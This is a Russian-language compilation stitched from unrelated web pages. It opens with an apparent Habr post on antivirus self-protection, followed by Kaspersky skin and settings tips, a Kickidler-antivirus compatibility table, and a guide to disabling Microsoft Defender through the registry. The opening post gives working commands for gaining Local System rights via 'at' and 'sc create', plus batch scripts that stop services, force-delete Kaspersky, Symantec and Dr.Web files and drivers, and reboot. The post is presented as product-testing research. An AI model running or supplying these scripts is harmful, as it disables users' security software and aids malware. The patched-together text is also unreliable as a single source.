Самозащита антивирусов или режем антивирус без ножа / Хабр
Привет всем!
Недавно мы уже обсудили могущество эвристических технологий современных антивирусов и пришли к мнению, что верить никому нельзя. Даже иногда себе 🙂
Сегодня мы поговорим о другом спорном моменте антивирусов — самозащите. Некоторые вендоры очень серьёзно относятся к этому моменту, и их продукты выстаивают даже в сложных комплексных случаях активного заражения, эффективно снимая вирусные перехваты, устанавливаясь в систему и даже в последующем удаляя уже изрядно прописавшихся зловредов. Другие считают, что активное заражение — это битва с ветряными мельницами, не приводящая ни к чему путному, а потому — LiveCD, а в ряде случаев и format c:
Отдадим должное обоим оппонентам: безусловно, если есть возможность победить вирусное противостояние — это хорошо. Если только это не приводит к бсодам и загрузке системы на пару-тройку дней. И абсолютно очевидно, что при серьёзном и комплексном заражении зачастую невозможно пробиться через активную массу перехватов, вредоносных процессов на уровне ядра и прочего — а потому часто действительно разумнее провести лечение неактивной системы (с LiveCD или сканируя винчестер на незаражённой машине), ну а в случае разношёрстной файловой инфекции — и задуматься о полной переустановке ОС.
Но не будем предаваться спорам — оставим это для следующей статьи 🙂 Поговорим о простом: о самозащите системы даже на заведомо незаражённой системе. И примем априори:
1) имеется комплексный продукт антивирус+хипс+файервол;
2) система была незаражена, но каким-то образом проник вредоносный код;
3) вредоносный код имеет своим намерением удалить антивирус или повредить его настолько, чтобы обеспечить полную неработоспособность.
Вариант действий будет самым простым — попытка удаления жизненно важных файлов антивируса с правами Local System. Идея такого подхода принадлежит моему хорошему другу Алексею Баранову, который сообщил о ней в закрытых кругах некоторое время назад. Время прошло, будем считать, что вендоры подтянулись — проверим это.
На Windows-системах, работая под администратором (а это, наверное, 80% всех систем) получить права Local System достаточно просто. В голову сразу приходит два способа, хорошо описанные в сети.
Способ 1.
Использование планировщика.
По умолчанию, на всех Windows-системах работает служба планировщика задач. Эта служба запускает задачи с искомыми правами Local System. Тогда очень просто добавить задание как-то:at 11:05 c:\killer.bat
и kill.bat запустится с правами Local System.
Преимущества очевидны: всё просто и ясно. Недостаток: пользователь может заметить странную новую задачу в планировщике, да и просто в целях безопасности отключить эту службу.
Способ 1. Создание службы.
Суть метода заключается в создании службы, её запуске и удалении. При этом всё реализуется в три строчки:
sc create CmdAsSystem type= own type= interact binPath= "cmd /c start /low /b cmd /c (c:\killer.bat)"
net start CmdAsSystem
sc delete CmdAsSystemПри этом мало того, что killer.bat запустится с приоритетом IDLE, он ещё и будет запущен от имени Local System.
Метод незаметен, никак не проявляет себя.
На момент публикования статьи KIS 2010 оба метода пропускал на уровне хипса, даже не запрашивая никаких разрешений.
Ну а теперь перейдём к самому killer.bat (в нашем случае он расположен в корне на диске С, но понятно, что закинуть его можно куда угодно).
Суть этого файла проста: удаляем всё, что принадлежит антивирусу. Так, для Касперского 2010 это будет:
net stop srservice
erase /F /S /Q "C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010"
erase /F /S /Q "%windir%\system32\drivers\kl1.sys"
erase /F /S /Q "%windir%\system32\drivers\klif.sys"
erase /F /S /Q "%windir%\system32\drivers\klbg.sys"
erase /F /S /Q "%windir%\system32\drivers\klim5.sys"
erase /F /S /Q "%windir%\system32\drivers\klmd.sys"
erase /F /S /Q "%windir%\system32\drivers\klmouflt.sys"
shutdown -r -f -c "Bye-Bye!!!"Для Symantec что-то типа (кто знает точнее — поправьте, сам-то я на Касперском):net stop srservice
erase /F /S /Q "C:\Program Files\Symantec"
erase /F /S /Q "C:\Program Files\Norton Internet Security"
shutdown -r -f -c "Bye-Bye!!!"
Для Доктора Веба:net stop srservice
erase /F /S /Q "C:\Program Files\DrWeb"
erase /F /S /Q "%windir%\system32\drivers\dwprot.
erase /F /S /Q "%windir%\system32\drivers\drwebaf.sys"
erase /F /S /Q "%windir%\system32\drivers\DrWebPF.sys"
erase /F /S /Q "%windir%\system32\drivers\spiderg3.sys"
shutdown -r -f -c "Bye-Bye!!!"
Ну и так далее. В первой строчке идёт останов службы восстановления Windows — так, на всякий случай 🙂
Понятно, что аналогичный скрипт можно прописать для всех антивирусов — суть изменять пути к жизненно важным файлам.
Итого — что же мы имеем?
1. KIS 2010 получил такой урон, что был убит, и система осталась без защиты. KIS 2011 лишён этой половой слабости — но он же всё ещё бета…
2. NIS потерял несколько файлов, но работоспособность не нарушилась, файлы впоследствии были скачаны и восстановлены при обновлении из Интернет.
3. DrWeb вообще не пострадал, что и ожидалось, принимая во внимание особый упор разработчика на противостояние инфекции. Но не забываем, что для Веба есть SpiDie…
При этом хипсы указанных продуктов спокойно пропустили оба варианта манипуляций (КИС проверил лично).
ВЫВОДЫ
К сожалению, приходится констатировать факт, что некоторые из существующих антивирусных решений имеют ряд уязвимостей, которые могут быть использованы для повреждения защиты и фактически удалению антивируса с компьютера.
Предлагается в комментариях дополнить наблюдения и исследования по другим антивирусным продуктам (желательно с хипс, чтобы оценить и уровень блокировки действий по получению прав Local System). Думаю, что описанные манипуляции понятны и могут быть легко воспроизведены на виртуальных машинах энтузиастов.
Cheers!
АНТИВИРУСЫ
Антивирус Касперского, Kaspersky Internet Security установка — активация — настройка — скины Напомню, Kaspersky Internet Security = Антивирус Касперского + файервол (сетевой экран), то есть, если на вашем компьютере нет выхода в интернет, то антивируса вам вполне достаточно.
РАЗДЕЛ ДОПОЛНЯЕТСЯ! Как отключить «самозащиту» Это стандартная функция, предусмотренная в настройках программы, так что бояться её совсем не нужно! В главном окне программы надо нажать кнопку «Настройка», затем нажимаем: => Дополнительные параметры => Самозащита => и снимаем галку с опции «Включить самозащиту». Как выключить («выгрузить») антивирус Проще не придумаешь! — Для этого нажимаем правой кнопкой мыши на букву «K» в трее (справа внизу экрана, рядом с часиками) и в выпавшем меню выбираем «Выход». Как добавить функцию смены скина в Kaspersky Internet Security 2012 Один из нескольких, но самый аккуратный способ, — это изменение файла настроек в оригинальном скине для отображения нужной нам привычной опции в настройках. 1. Отключаем самозащиту антивируса (Для этого идем в настройки => Дополнительные параметры => Самозащита и снимаем галку с опции «Включить самозащиту») 3. Находим в нём строчку (поиск вызываем клавишами CTRL + F): Skin = [OptionsWindow_Navigator_WorkArea_Gui_Body_Skin] use(0) и заменяем её на: Skin = [OptionsWindow_Navigator_WorkArea_Gui_Body_Skin] use(!env(«SkinSwitchDisabled») || env(«SkinSwitchDisabled») == «0») 4. Сохраняем изменения Уже готовый файл (с внесённым изменениями) settings.ini для KIS 12.0.0.374-ru можно бесплатно скачать тут . Как изменить скин в Kaspersky Internet Security 2013 Один из нескольких, но наиболее рекомендуемый к использованию в КАВ/KIS 2013. 1. Отключаем самозащиту антивируса (Для этого идем в настройки => Дополнительные параметры => Самозащита и снимаем галку с опции «Включить самозащиту») SkinPath (REG_SZ) вписываем полный путь к папке с файлами альтернативного скина (Например: C:\Users\Admin\Desktop\Skin2013) 5.  Включаем самозащиту антивируса (Для этого идем в настройки => Дополнительные параметры => Самозащита и ставим галку на опцию «Включить самозащиту»)6. ОБЯЗАТЕЛЬНО перезагружаем Windows (2013 версия категорически требует этого). 7. После всех действий продукт загрузится с альтернативным скином. Внимание! При установке скинов на некоторых ПК продукт может выдать ошибку и не установить скин даже с нескольких попыток. Для исправления этой ситуации следует заменить папку «images\tray» в вашем скине на папку «images\tray» из стандартного скина (находящегося по пути: «C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2013\skin\»). Как изменить скин (вид окон) в КАВ/KIS Чтобы установить скин, требуется: извлечь файлы из архива в любую папку, открыть окно Антивирус Касперского/Kaspersky Internet Security, нажать на кнопку «Настройка» (или кликнуть по иконке программы в панели состояния (около часиков) и выбрать пункт «Настройка»). Настройка защиты от Trojan-Ransom (WinLock) средством Контроль программ в Kaspersky Internet Security 2012 / 2013 Подробные инструкции с иллюстрациями изложены на сайте Лаборатории Касперского: — настройка KIS 2012 / 2013 — настройка KIS 2011 Уже готовый файл настроек KIS 2011/2012 «по-умолчанию» с включенной функцией «AntiWinLock» можно бесплатно скачать тут . Описание процедуры экспорта/импорта настроек можно изучить ниже. Файл с настройками «по-умолчанию» (после установки, без изменений, с отключенной службой KSN) можно бесплано скачать тут
. Экспорт/импорт настроек в Kaspersky Internet Security 2012 / 2013 Чтобы экспортировать (сохранить) параметры программы в файл, выполните следующие действия: Для импорта (восстановления) параметров Kaspersky Internet Security 2012 из файла, выполните следующие действия: 1. Откройте главное окно программы. Настройка совместной работы Антивирус Касперского/Kaspersky Internet Security и Agnitum Outpost Firewall PRO Применимо к антивирусам KAV (KIS) 2009-2011 и Agnitum Outpost Firewall Pro 2009 Для KAV применимо в части компонентов, имеющихся в нём. Начинаем с KIS 1. Итак, KIS готов дружественно относиться к сторонним сетевым приложениям, которые, как и он, будут контролировать сеть глобально. Переходим к OUTPOST 7. Запускаем установку OUTPOST. Всё! Связка готова и настроена. Пункты 18-20 следует выполнять только при возникновении проблем с множеством подвисающих сетевых соединений от имени SYSTEM (по данным OUTPOST). Первоначально выполнять пункты 18-20 не нужно! 18. В обоих приложениях выключаем самозащиту, после чего выключаем и сами приложения.
обнаружено: новая угроза Hidden. Решение: Это не вирусы, а служебные файлы OUTPOST, которые последний использует для оптимизации своей работы. Во избежание появления вышеуказанных сообщений антивируса, нужно в антивирусе в Правилах исключений (Настройка=>Угрозы и исключения=>Доверенная зона=>Правила исключений=>Добавить) добавить маску *\OP_CACHE.ATR и указать, что она применяется для любого компонента. Техническая поддержка Agnitum: Оптимизация совместной работы Outpost с продуктами Лаборатории Касперского Общее замечание: При необходимости выполнить переустановку OUTPOST или KAV (KIS), нужно сначала удалить OUTPOST, потом антивирус, потом сначала установить антивирус, и только после этого устанавливать OUTPOST. Иначе получится, как минимум, паралич сети, как максимум, BSOD. В заключение, пару слов об этой связке. На сегодняшний день есть только одно существенное преимущество OUTPOST перед KIS в части обеспечения сетевой безопасности — это возможность вручную задать, что есть сетевая атака, т.е. сканирование портов с какими характеристиками считать таковой. Всё. Более ни чем KIS не уступает OUTPOST , а в ряде случаев даже превосходит. Поэтому считаю, что на сегодняшний день вышерассмотренная связка не имеет особой актуальности. KIS — самодостаточное средство обеспечения безопасности. |
Все их функции (за исключением файервола — сетевой защиты) идентичны.
Далее откройте закладку «Дополнительные параметры» и пункт меню «Вид». В правой части надо установить галочку напротив «Использовать альтернативную графическую оболочку», нажать кнопку «Обзор» и указать расположение папки с вашим скином. Внизу окна нажать «Применить» и «Ок».
Устанавливаем KIS в полном объёме в автоматическом режиме.
Можно смело выходить в сеть.
Object (модификация) Файл: C:\WINDOWS\OP_CACHE.ATR
Kickidler и антивирусное ПО
Программный комплекс Kickidler не конфликтует с антивирусами в процессе установки. Однако для корректной работы программы следует иметь в виду ряд характеристик антивируса, на которые стоит обратить внимание.
| Антивирус | Проблемы | Решение |
|---|---|---|
| Бесплатный антивирус Avast 2015 | Запускает дополнительное сканирование при установке Сервера, но ничего не находит. | |
| Антивирус Рanda pro 2015 15.1.0 | Спрашивает, разрешаете ли вы установку компонентов. Если вы разрешите запуск приложения, антивирус при последующих проверках не будет отмечать Kickidler как вирус. | |
| 360 Total Security | При обновлении Агента Kickidler может появиться сообщение о том, что программа делает недопустимый запрос – изменение бинарного файла. Вы можете разрешить или запретить обновление в открывшемся окне. Чтобы Агент продолжал работать корректно, необходимо разрешить обновление. Если вы заблокируете запрос, копия Агента будет повреждена и не сможет продолжать работу. | Есть два способа предотвратить конфликт:
|
| СРЕДНИЙ | Столкновения с агентом Kickidler во время работы | Добавить агент Kickidler в белый список антивируса сразу после его установки. |
| Eset Endpoint Security | Конфликты с Kickidler Server и Агентом в процессе работы | Добавить сервер и агент Kickidler в белый список антивируса сразу после его установки и создать правило в брандмауэре антивируса.
|
| Интернет-безопасность Avast | Блокирует сервер в настройках брандмауэра «Общая сеть» | |
| Доктор Веб | Не разрешает установку и блокирует все компоненты программы. |
|
| Kaspersky Home | Конфликты с работающим Агентом в режиме Самозащиты (который по умолчанию включен). В этом режиме раздел «Отчеты» не имеет детализации по веб-страницам и программам. | Если вы хотите, чтобы и Агент, и антивирус работали корректно, рекомендуем отключить режим Самозащиты антивируса Касперского. |
| Не позволяет загружать Агент при включенной опции «Безопасные соединения» | Опция «Безопасные соединения» (Настройки — Дополнительные — Сеть) должна быть отключена во время установки. | |
| Kaspersky Small Office / Endpoint Security | Не разрешает загрузку агента при включенной опции «Интерфейс сканирования на наличие вредоносного ПО». Если вы снова включите эту опцию, она продолжит работать без сбоев. | В расширенных настройках антивируса (Настройки — Защита — Файловый антивирус — Расширенная настройка) отключите функцию «Проверка скриптов с помощью Antimalware Scan Interface (AMIS)» |
Можно включить поздно, если добавить Агента в исключенияКак отключить Microsoft Defender в Windows 10 или Windows 11
ПоискShaant Minhas
Опубликовано в:
How-To
Как отключить Microsoft Defender в Windows 10 или Windows 11
Обновлено 8 декабря 2022 г.
Отключите Microsoft Defender, выполнив следующие действия:
- Перейдите в строку поиска меню Пуск , введите «безопасность Windows» и выберите наиболее подходящий вариант.
- Выберите Вирус и угроза > Управление настройками.
- Выключить переключатель под Защита в реальном времени
- Нажмите Да в приглашении, и Microsoft Defender будет отключен для вас.
В этой статье
Обновлено 8 декабря 2022 г.
Итак, вы хотите отключить Microsoft Defender на ПК с Windows 10 или Windows 11? Не волнуйтесь, мы обеспечим вас этим руководством.
По сути, есть два способа отключить Microsoft Defender на вашем ПК; вы можете сделать это временно или постоянно — и мы рассмотрели оба этих метода здесь.
Зачем отключать Microsoft Defender?
Защитник Windows, теперь переименованный в Microsoft Defender, представляет собой встроенную антивирусную программу, предназначенную для защиты вашего ПК от атак вредоносных программ. Но как бы ни была хороша программа безопасности, приложение не лишено недостатков.
В свете этого отключение Защитника Microsoft кажется многим людям ценным вариантом. Но прежде чем мы перейдем к отключению Защитника, важно сначала убедиться, что это действительно безопасно.
Вот несколько причин для отключения Защитника:
- Если вы хотите установить какой-нибудь сторонний антивирус, скажем, Касперский или Аваст, то оставлять включенным Защитника Майкрософт будет не в вашу пользу. Часто антивирус сам присылает вам всплывающее окно с просьбой выключить Защитник, в противном случае вы не получите никаких нормальных функций от нового программного обеспечения.
- Microsoft Defender печально известен тем, что блокирует приложения, которые считает небезопасными; в таких случаях может помочь отключение Защитника. Если вам абсолютно необходимо запустить приложение, с которым у Защитника возникают проблемы, и вы уверены, что оно безопасно, вы можете отключить Защитника.
- Если вы уже используете профессиональный антивирус, нет смысла держать Microsoft Defender, так как он может вызывать ненужные ошибки и несерьезно потреблять ресурсы вашего ПК.
Вот некоторые из вышеперечисленных причин, которые делают отключение Защитника полезным предложением.
Прежде чем вы отключите приложение, важно помнить, что вы должны заранее установить альтернативный антивирус. В противном случае это приведет к катастрофе, в результате чего ваш компьютер станет уязвимым для внешних угроз.
К счастью, для такой популярной операционной системы, как Windows 10 или 11, нет недостатка в антивирусных решениях, будь то Kaspersky, AVG, Norton и т. д. Выберите антивирус, установите его, и только тогда вы должны думать о чем-то отдаленно похожем на превращение от Защитника.
Как отключить Защитник Microsoft в Windows 10 или Windows 11
Хотя Защитник можно отключить навсегда, в некоторых случаях вы можете просто попробовать его на некоторое время и посмотреть, как он работает. В Windows 11 вы можете сделать это без особых усилий, поэтому для этого выполните следующие шаги:
- Чтобы начать, перейдите в строку поиска меню «Пуск» , введите «безопасность Windows» и выберите наиболее подходящее.
- Нажмите Защита от вирусов и угроз .
- Оттуда нажмите Управление настройками в разделе Параметры защиты от вирусов и угроз .
- Выключите переключатель под защитой в режиме реального времени .
- Нажмите Да в приглашении, и Microsoft Defender будет отключен для вас.
Как навсегда отключить Microsoft Defender в Windows
Но если вы ищете одноразовое решение, то описанный выше метод может не подойти. Для этого вам нужно будет использовать редактор реестра. Редактор реестра — это иерархическая база данных, в которую записывается такая информация, как настройки программного обеспечения, пользовательские настройки и даже конфигурация ваших операционных систем.
Интересно, что его также можно использовать для постоянного отключения Microsoft Defender путем изменения настроек реестра Windows. Вот как:
Во-первых, мы должны отключить «Защиту от несанкционированного доступа» в приложении «Защита безопасности», которая является функцией Microsoft Defender, которая не позволяет пользователям или вредоносным программам изменять настройки Microsoft Defender.
После отключения откройте редактор реестра, нажав клавишу Windows + R , чтобы открыть Run введите regedit.msc и нажмите Enter .
При запуске редактора реестра введите следующий путь в адресной строке и нажмите Enter:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
Запустите файл DisableAntiSpyware, установите Значение данных на 1 , и нажмите Введите .
Если в вашем случае нет файла DWORD, щелкните правой кнопкой мыши папку «Защитник Windows» на левой навигационной панели, выберите «Создать», а затем нажмите «Значение DWORD (32-разрядное)».
Оттуда переименуйте новую запись в DisableAntiSpyware.
Теперь откройте только что созданную запись, чтобы установить ее значение равным 1, как это было сделано выше. Это отключит ваш Защитник Windows. Чтобы завершить изменения, все, что вам нужно сделать, это выполнить быстрый перезапуск.